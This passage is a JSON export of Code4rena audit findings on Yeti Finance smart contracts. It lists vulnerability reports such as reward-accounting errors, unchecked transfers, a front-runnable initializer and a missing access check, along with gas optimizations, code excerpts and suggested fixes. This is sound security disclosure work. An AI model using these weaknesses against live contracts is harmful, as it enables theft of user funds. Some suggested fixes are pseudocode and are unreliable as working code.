user.unclaimedJOEReward.add(user.amount.mul(accJoePerShare).div(1e12).sub(user.rewardDebt)); ``` "}, {"title": "Gas savings", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/139", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle csanuragjain # Vulnerability details ## Impact Gas savings ## Proof of Concept 1. Navigate to contract at https://github.com/code-423n4/2022-01-behodler/blob/main/contracts/DAO/LimboDAO.sol 2. Observe that in burnAsset function, fateCreated can be initialized with 0 instead of fateState[_msgSender()].fateBalance which takes more gas. Actual value of fateCreated is decided by if-else condition 3. Observe that in vote function isLive modifier should be before incrementFate as if contract is not live then there is no meaning of incrementFate 4. Observe that in vote function below nested condition can be placed beforehand as if this happens further execution is not required ``` if (block.timestamp - currentProposalState.start > proposalConfig.votingDuration) ``` 5. Observe that previousProposalState is never used and can be removed "}, {"title": "Unused WJLP can't be simply unwrapped", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/138", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle kenzo # Vulnerability details WJLP can only be unwrapped from the Active Pool or Stability Pool. A user who decided to wrap his JLP, but not use all of them in a trove, Wouldn't be able to just unwrap them. ## Impact Impaired functionality for users. Would have to incur fees for simple unwrapping. ## Proof of Concept The unwrap functionality is only available from `unwrapFor` function, and that function is only callable from AP or SP. [(Code ref)](https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/AssetWrappers/WJLP/WJLP.sol#L148:#L149) ``` function unwrapFor(address _to, uint _amount) external override { _requireCallerIsAPorSP(); ``` ## Recommended Mitigation Steps Allow anybody to call the function. As it will burn the holder's WJLP, a user could only unwrap tokens that are not in use. "}, {"title": "Reward not transferred correctly", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/137", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2021-12-yetifinance-findings", "body": "Reward not transferred correctly"}, {"title": "WJLP will continue accruing rewards after user has unwrapped his tokens", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/136", "labels": ["bug", "3 (High Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle kenzo # Vulnerability details WJLP doesn't update the inner accounting (for JOE rewards) when unwrapping user's tokens. The user will continue to receive rewards, on the expanse of users who haven't claimed their rewards yet. ## Impact Loss of yield for users. ## Proof of Concept The unwrap function just withdraws JLP from MasterChefJoe, burns the user's WJLP, and sends the JLP back to the user. It does not update the inner accounting (`userInfo`). [(Code ref)](https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/AssetWrappers/WJLP/WJLP.sol#L148:#L167) ``` function unwrapFor(address _to, uint _amount) external override { _requireCallerIsAPorSP(); _MasterChefJoe.withdraw(_poolPid, _amount); // msg.sender is either Active Pool or Stability Pool // each one has the ability to unwrap and burn WAssets they own and // send them to someone else _burn(msg.sender, _amount); JLP.transfer(_to, _amount); } ``` ## Recommended Mitigation Steps Need to keep userInfo updated. Have to take into consideration the fact that user can choose to set the reward claiming address to be a different account than the one that holds the WJLP. "}, {"title": "Gas saving in ShortLockupContract", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/133", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle 0x1f8b # Vulnerability details ## Impact Gas saving. ## Proof of Concept The variables `yetiToken` and `unlockTime` inside the `ShortLockupContract` contract are never modified, so it's better to use immutable to avoid storage access. ## Tools Used Gas saving ## Recommended Mitigation Steps Use immutable "}, {"title": "Use immutable", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/132", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle 0x1f8b # Vulnerability details ## Impact Gas saving. ## Proof of Concept The variable `yetiToken` inside the `LockupContract` contract is never modified, so it's better to use immutable to avoid storage access. ## Tools Used Gas saving ## Recommended Mitigation Steps Use immutable "}, {"title": "Less than 256 uints are not gas efficient", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/123", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-yetifinance-findings", "body": "Less than 256 uints are not gas efficient"}, {"title": "Yeti token rebase checks the additional token amount incorrectly", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/121", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle hyh # Vulnerability details # Impact The condition isn't checked now as the whole balance is used instead of the Yeti tokens bought back from the market. As it's not checked, the amount added to `effectiveYetiTokenBalance` during rebase can exceed the actual amount of the Yeti tokens owned by the contract. As the before check amount is calculated as the contract net worth, it can be fixed by immediate buy back, but it will not be the case. The deficit of Yeti tokens can materialize in net worth terms as well if Yeti tokens price will raise compared to the last used one. In this case users will be cumulatively accounted with the amount of tokens that cannot be actually withdrawn from the contract, as its net holdings will be less then total users\u2019 claims. In other words, the contract will be in default if enough users claim after that. ## Proof of Concept Now the whole balance amount is used instead of the amount bought back from market. Rebasing amount is added to `effectiveYetiTokenBalance`, so it should be limited by extra Yeti tokens, not the whole balance: https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/YETI/sYETIToken.sol#L247 ## Recommended Mitigation Steps It looks like only extra tokens should be used for the check, i.e. `yetiToken.balance - effectiveYetiTokenBalance`. Now: ``` function rebase() external { ... uint256 yetiTokenBalance = yetiToken.balanceOf(address(this)); uint256 valueOfContract = _getValueOfContract(yetiTokenBalance); uint256 additionalYetiTokenBalance = ... if (yetiTokenBalance < additionalYetiTokenBalance) { additionalYetiTokenBalance = yetiTokenBalance; } effectiveYetiTokenBalance = effectiveYetiTokenBalance.add(additionalYetiTokenBalance); ... function _getValueOfContract(uint _yetiTokenBalance) internal view returns (uint256) { uint256 adjustedYetiTokenBalance = _yetiTokenBalance.sub(effectiveYetiTokenBalance); uint256 yusdTokenBalance = yusdToken.balanceOf(address(this)); return div(lastBuybackPrice.mul(adjustedYetiTokenBalance), (1e18)).add(yusdTokenBalance); } ``` As the `_getValueOfContract` function isn't used elsewhere, the logic can be simplified. To be: ``` function rebase() external { ... uint256 adjustedYetiTokenBalance = (yetiToken.balanceOf(address(this))).sub(effectiveYetiTokenBalance); uint256 valueOfContract = _getValueOfContract(adjustedYetiTokenBalance); uint256 additionalYetiTokenBalance = ... if (additionalYetiTokenBalance > adjustedYetiTokenBalance) { additionalYetiTokenBalance = adjustedYetiTokenBalance; } effectiveYetiTokenBalance = effectiveYetiTokenBalance.add(additionalYetiTokenBalance); ... function _getValueOfContract(uint _adjustedYetiTokenBalance) internal view returns (uint256) { uint256 yusdTokenBalance = yusdToken.balanceOf(address(this)); return div(lastBuybackPrice.mul(_adjustedYetiTokenBalance), (1e18)).add(yusdTokenBalance); } ``` "}, {"title": "BorrowerOperations and StabilityPool trove status check depends on the enumeration order", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/120", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle hyh # Vulnerability details # Impact Core system logic can break up if enumeration structure be updated. ## Proof of Concept BorrowerOperations and StabilityPool check the active status of a trove by comparing TroveManager's getTroveStatus with 1: BorrowerOperations: https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L902 https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L907 StabilityPool: https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/StabilityPool.sol#L1104 TroveManagers inherit Status enumeration from TroveManagerBase: https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/Dependencies/TroveManagerBase.sol#L72 ## Recommended Mitigation Steps With further system development it will be harder to track fixes needed on enumeration change. Consider implementing TroveManager.isTroveActive(borrower) where trove.status is checked against Status.active and the corresponding boolean is returned. "}, {"title": "WJLP contract doesn't check for JOE and JLP token transfers success", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/107", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle hyh # Vulnerability details # Impact Transactions will not be reverted on failed transfer call, setting system state as if it was successful. This will lead to wrong state accounting down the road with a wide spectrum of possible consequences. ## Proof of Concept _safeJoeTransfer do not check for JOE.transfer call success: https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/AssetWrappers/WJLP/WJLP.sol#L268 _safeJoeTransfer is called by _sendJoeReward, which is used in reward claiming. JOE token use transfer from OpenZeppelin ERC20: https://github.com/traderjoe-xyz/joe-core/blob/main/contracts/JoeToken.sol#L9 Which does return success code: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol#L113 Trader Joe also uses checked transfer when dealing with JOE tokens: https://github.com/traderjoe-xyz/joe-core/blob/main/contracts/MasterChefJoeV3.sol#L102 Also, unwrapFor do not check for JLP.transfer call success: https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/AssetWrappers/WJLP/WJLP.sol#L166 ## Recommended Mitigation Steps Add a require() check for the success of JOE transfer in _safeJoeTransfer function and create and use a similar function with the same check for JLP token transfers "}, {"title": "Debug code left over in WJLP.unwrapFor", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/106", "labels": ["bug", "disagree with severity", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle hyh # Vulnerability details Console log code to be removed: https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/AssetWrappers/WJLP/WJLP.sol#L152 "}, {"title": "WJLP setAddresses initialization can be front run", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/105", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle hyh # Vulnerability details # Impact WJLP set configuration variables via setAddresses initialize function that has no access controls, so whenever it is being run not atomically with contract creation it can be front run by an attacker. The fix is to redeploy the contracts. ## Proof of Concept WJLP.setAddresses: https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/AssetWrappers/WJLP/WJLP.sol#L102 WJLP.constructor: https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/AssetWrappers/WJLP/WJLP.sol#L82 ## Recommended Mitigation Steps a. Either set access rights in the constructor and restrict initialize access b. Or run setAddresses atomically along with contract construction each time It is also advised to check for zero addressed supplied by a caller both in constructor and setAddresses. Misconfiguration with zero address also leads to redeployment. "}, {"title": "Checking zero address on msg.sender is impractical", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/103", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle dalgarim # Vulnerability details ## Impact sYETIToken.sol mint function checks if msg.sender is zero address. It is extremely unlikely that someone possesses a private key of zero address. This 'require' statement semantically has no meaning ## Proof of Concept [mint](https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/YETI/sYETIToken.sol#L175) ``` function mint(uint256 amount) public returns (bool) { require(msg.sender != address(0), \"Zero address\"); User memory user = users[msg.sender]; uint256 shares = totalSupply == 0 ? amount : (amount * totalSupply) / effectiveYetiTokenBalance; user.balance += shares.to128(); user.lockedUntil = (block.timestamp + LOCK_TIME).to128(); users[msg.sender] = user; totalSupply += shares; yetiToken.sendToSYETI(msg.sender, amount); effectiveYetiTokenBalance = effectiveYetiTokenBalance.add(amount); emit Transfer(address(0), msg.sender, shares); return true; } ``` ## Tools Used Manual ## Recommended Mitigation Steps The require statement can be removed "}, {"title": "uint is always >= 0", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/102", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "uint is always >= 0"}, {"title": "sYETIToken rebase comment should be 'added is not more than repurchased'", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/100", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle hyh # Vulnerability details # Impact Comment is misleading, now stating the opposite of the implemented logic. ## Proof of Concept Comment states that tokens added are `not less than amount repurchased`, while it should be `not more`: https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/YETI/sYETIToken.sol#L246 ## Recommended Mitigation Steps Now: ``` // Ensure that the amount of YETI tokens effectively added is >= the amount we have repurchased. if (yetiTokenBalance < additionalYetiTokenBalance) { additionalYetiTokenBalance = yetiTokenBalance; } ``` To be: ``` // Ensure that the amount of YETI tokens effectively added is <= the amount we have repurchased. if (yetiTokenBalance < additionalYetiTokenBalance) { additionalYetiTokenBalance = yetiTokenBalance; } ``` "}, {"title": "BorrowerOperations has unused pieces of functionality", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/99", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle hyh # Vulnerability details ## Proof of Concept _requireValidRouterParams and _requireRouterAVAXIndicesInOrder functions along with IYetiRouter interface are unused: _requireValidRouterParams https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L1053 _requireRouterAVAXIndicesInOrder https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L1067 IYetiRouter import and the interface itself: https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L12 https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/Interfaces/IYetiRouter.sol ## Recommended Mitigation Steps If it is not meant to be implemented further consider removal to enhance code readability and size "}, {"title": "User facing BorrowerOperations and TroveManager miss emergency lever", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/97", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-yetifinance-findings", "body": "User facing BorrowerOperations and TroveManager miss emergency lever"}, {"title": "BorrowerOperations.withdrawColl doesn't check the length of the caller supplied arrays", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/96", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle hyh # Vulnerability details # Impact On calling with arrays of different lengths various malfunctions are possible as the arrays are used as given. `withdrawColl` outcome will not be as expected by a caller. ## Proof of Concept `_adjustTrove` doesn't check for array lengths and all other array providing usages of this function do check them before usage. BorrowerOperations.withdrawColl doesn't: https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L373 ## Recommended Mitigation Steps Add the check: Now: ``` params._collsOut = _collsOut; params._amountsOut = _amountsOut; ``` To be: ``` require(_collsOut.length == _amountsOut.length); params._collsOut = _collsOut; params._amountsOut = _amountsOut; ``` "}, {"title": "Consider making some constants as non-public to save gas", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/95", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "Consider making some constants as non-public to save gas"}, {"title": "Use safeTransfer/safeTransferFrom consistently instead of transfer/transferFrom", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/94", "labels": ["bug", "1 (Low Risk)"], "target": "2021-12-yetifinance-findings", "body": "Use safeTransfer/safeTransferFrom consistently instead of transfer/transferFrom"}, {"title": "SHOULD CHECK RETURN DATA FROM CHAINLINK AGGREGATORS", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/91", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "SHOULD CHECK RETURN DATA FROM CHAINLINK AGGREGATORS"}, {"title": "Delete - ABI Coder V2 For Gas Optimization", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/89", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle defsec # Vulnerability details ## Impact From Pragma 0.8.0, ABI coder v2 is activated by default. The pragma abicoder v2 can be deleted from the repository. That will provide gas optimization. ## Proof of Concept 1. The following contract is using ABI coder v2. \"https://github.com/code-423n4/2021-12-yetifinance/blob/1da782328ce4067f9654c3594a34014b0329130a/packages/contracts/contracts/YETI/sYETIToken.sol#L3\" ## Tools Used None ## Recommended Mitigation Steps Upgrade pragma to 0.8.0 and After the 0.8.0, ABI coder v2 is activated by default. Upgrade pragma to 0.8.0 version. It is recommended to delete redundant codes. From Solidity v0.8.0 Breaking Changes https://docs.soliditylang.org/en/v0.8.0/080-breaking-changes.html "}, {"title": "A variable is being assigned its default value which is unnecessary.", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/87", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle Jujic # Vulnerability details ## Impact Removing the assignment will save gas. ``` _totalSupply = 0; ``` ## Proof of Concept https://github.com/code-423n4/2021-12-yetifinance/blob/5f5bf61209b722ba568623d8446111b1ea5cb61c/packages/contracts/contracts/AssetWrappers/WJLP/WJLP.sol#L93 ## Tools Used ## Recommended Mitigation Steps Remove the assignment. "}, {"title": "Unipool's and Pool2Unipool's setParams can be run repeatedly", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/86", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-12-yetifinance-findings", "body": "Unipool's and Pool2Unipool's setParams can be run repeatedly"}, {"title": "Unnecessary use of Safemath", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/85", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle Jujic # Vulnerability details ## Impact ``` deploymentTime = block.timestamp; uint public constant BOOTSTRAP_PERIOD = 14 days; deploymentTime.add(BOOTSTRAP_PERIOD) // doesn't overflow ``` ## Proof of Concept https://github.com/code-423n4/2021-12-yetifinance/blob/5f5bf61209b722ba568623d8446111b1ea5cb61c/packages/contracts/contracts/BorrowerOperations.sol#L899 ## Tools Used Remix ## Recommended Mitigation Steps I recommend not use Safemath for this operation. "}, {"title": "Missing events in critical functions", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/84", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle SolidityScan # Vulnerability details ## Impact Events are important and should be emitted for tracking this off-chain for all important functions. ## Proof of Concept 1. The function \"updateTeamAddress\" is used to update the team's address but we can notice no event is emitted. https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/TeamAllocation.sol#L81-L83 2. The same in function \"updateTeamWallet\" at https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/YetiFinanceTreasury.sol#L28-L30 ## Tools Used ## Recommended Mitigation Steps Add an event to these important functions where address updation is happening. This can also be marked as indexed event for better off-chain tracking "}, {"title": "Upgrading the solc compiler to >=0.8 may save gas ", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/81", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-yetifinance-findings", "body": "Upgrading the solc compiler to >=0.8 may save gas "}, {"title": "Avoid unnecessary storage read can save gas", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/79", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-yetifinance-findings", "body": "Avoid unnecessary storage read can save gas"}, {"title": "TellorCaller.sol constructor does not guard against zero address", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/78", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle jayjonah8 # Vulnerability details ## Impact the constructor in TellorCaller.sol should ensure that the _tellorMasterAddress arg passed in is not a zero address as a safegaurd. ## Proof of Concept https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/Dependencies/TellorCaller.sol#L24 ## Tools Used Manual code review ## Recommended Mitigation Steps require(address(_tellorMasterAddress) != address(0), \"Zero address\") "}, {"title": "sendAllocatedYETI() can be called by anyone", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/75", "labels": ["bug", "invalid", "3 (High Risk)", "sponsor disputed"], "target": "2021-12-yetifinance-findings", "body": "sendAllocatedYETI() can be called by anyone"}, {"title": "receiveCollateral() can be called by anyone", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/74", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle jayjonah8 # Vulnerability details ## Impact In StabilityPool.sol, the receiveCollateral() function should be called by ActivePool per comments, but anyone can call it passing in _tokens and _amounts args to update stability pool balances. ## Proof of Concept https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/StabilityPool.sol#L1143 ## Tools Used Manual code review ## Recommended Mitigation Steps Allow only the ActivePool to call the receiveCollateral() function: require(msg.sender = address(active pool address), \"Can only be called by ActivePool\") "}, {"title": "Useless imports", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/72", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "Useless imports"}, {"title": "Remove GasPool.sol since its not needed ", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/71", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-12-yetifinance-findings", "body": "Remove GasPool.sol since its not needed "}, {"title": "Caching variables", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/70", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "Caching variables"}, {"title": "Wrapped Joe LP token Contract JLP token variable is set on initialization, doesn't change afterwards and should be immutable", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/69", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle Jujic # Vulnerability details ## Impact ``` IERC20 public immutable JLP; IERC20 public immutable JOE; ``` ## Proof of Concept https://github.com/code-423n4/2021-12-yetifinance/blob/5f5bf61209b722ba568623d8446111b1ea5cb61c/packages/contracts/contracts/AssetWrappers/WJLP/WJLP.sol#L41-L44 ## Tools Used REmix ## Recommended Mitigation Steps "}, {"title": "Consider removing BaseBoringBatchable.sol", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/68", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-yetifinance-findings", "body": "Consider removing BaseBoringBatchable.sol"}, {"title": "Long Revert Strings", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/66", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2021-12-yetifinance-findings", "body": "Long Revert Strings"}, {"title": "Use of Large Number Literals", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/64", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle SolidityScan # Vulnerability details ### Description Integer literals are formed from a sequence of digits in the range 0-9. They are interpreted as decimals. The use of very large numbers with too many digits was detected in the code that could have been optimized using a different notation also supported by Solidity. ## Impact Literals with many digits are difficult to read and review. This may also introduce errors in the future if one of the zeroes is omitted while doing code modifications. ## Proof of Concept 1. uint constant public _100pct = 1000000000000000000; https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/Dependencies/LiquityBase.sol#L19 2. uint constant public _110pct = 1100000000000000000; // 1.1e18 == 110% https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/Dependencies/LiquityBase.sol#L21 3. uint constant public MCR = 1100000000000000000; // 110% https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/Dependencies/LiquityBase.sol#L24 4. uint constant public CCR = 1500000000000000000; // 150% https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/Dependencies/LiquityBase.sol#L27 ## Tools Used ## Recommended Mitigation Steps Scientific notation in the form of\u00a02e10\u00a0is also supported, where the mantissa can be fractional but the exponent has to be an integer. The literal\u00a0MeE\u00a0is equivalent to\u00a0M\u00a0*\u00a010**E. Examples include\u00a02e10,\u00a02e10,\u00a02e-10,\u00a02.5e1. As suggested in official docs https://docs.soliditylang.org/en/latest/types.html#rational-and-integer-literals "}, {"title": "Unused functions can be removed to save gas", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/63", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle SolidityScan # Vulnerability details ### Description Smart Contracts are Gas sensitive and heavily depend on how Gas is spent and managed across the code. This affects each and every function definition and logic. Therefore having any unused functions in the code cost unnecessary Gas usage and thus negatively impacts the Contract and the organization. ## Impact Having unused function definitions and parameters negatively affects the contract and costs unnecessary Gas. This also makes it difficult and confusing for auditors to go through the code. ## Proof of Concept The function \"_getColls\" is not used anywhere in the code https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/Dependencies/LiquityBase.sol#L146-L153 ## Tools Used ## Recommended Mitigation Steps Evaluate if the function call should be used anywhere otherwise remove the function definition. "}, {"title": "WJLP.sol does not make use of important events to emit ", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/62", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle jayjonah8 # Vulnerability details ## Impact There are no events emitted in the WJLP.sol file for important function calls. The contract should make use of events for important functions like claimReward() so the protocol can track important events after deployment. This can help spot unusual activity and assist in monitoring the protocol while its live. ## Proof of Concept https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/AssetWrappers/WJLP/WJLP.sol#L215 ## Tools Used Manual code review "}, {"title": "_from and _to can be the same address on wrap() function", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/58", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle jayjonah8 # Vulnerability details ## Impact In WJLP.sol, the wrap() function pulls in _amount base tokens from _from, then stakes them to mint WAssets which it sends to _to. It then updates _rewardOwner's reward tracking such that it now has the right to future yields from the newly minted WAssets. But the function does not make sure that _from and _to are not the same address and failure to make this check in functions with transfer functionality has lead to severe bugs in other protocols since users rewards are updated on such transfers this can be used to manipulate the system. ## Proof of Concept https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/AssetWrappers/WJLP/WJLP.sol#L126 https://medium.com/@Knownsec_Blockchain_Lab/knownsec-blockchain-lab-i-kill-myself-monox-finance-security-incident-analysis-2dcb4d5ac8f ## Tools Used Manual code review ## Recommended Mitigation Steps require(address(_from) != address(_to), \"_from and _to cannot be the same\") "}, {"title": "Named return issue", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/24", "labels": ["bug", "disagree with severity", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-yetifinance-findings", "body": "Named return issue"}, {"title": "Must approve 0 first", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/18", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "Must approve 0 first"}, {"title": "Unnecessary payable", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/15", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-yetifinance-findings", "body": "Unnecessary payable"}, {"title": "Prefix increments are cheaper than postfix increments", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/12", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "Prefix increments are cheaper than postfix increments"}, {"title": "Unnecessary array boundaries check when loading an array element twice", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/11", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "Unnecessary array boundaries check when loading an array element twice"}, {"title": "State variables that could be set immutable", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/10", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-yetifinance-findings", "body": "State variables that could be set immutable"}, {"title": "Storage double reading. Could save SLOAD", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/8", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "Storage double reading. Could save SLOAD"}, {"title": "Short the following require messages", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/7", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "Short the following require messages"}, {"title": "Unused imports", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/2", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "Unused imports"}, {"title": "unsponsor, claimYield and withdraw might fail unexpectadly", "html_url": "https://github.com/code-423n4/2022-01-sandclock-findings/issues/76", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "sponsor vault"], "target": "2022-01-sandclock-findings", "body": "# Handle danb 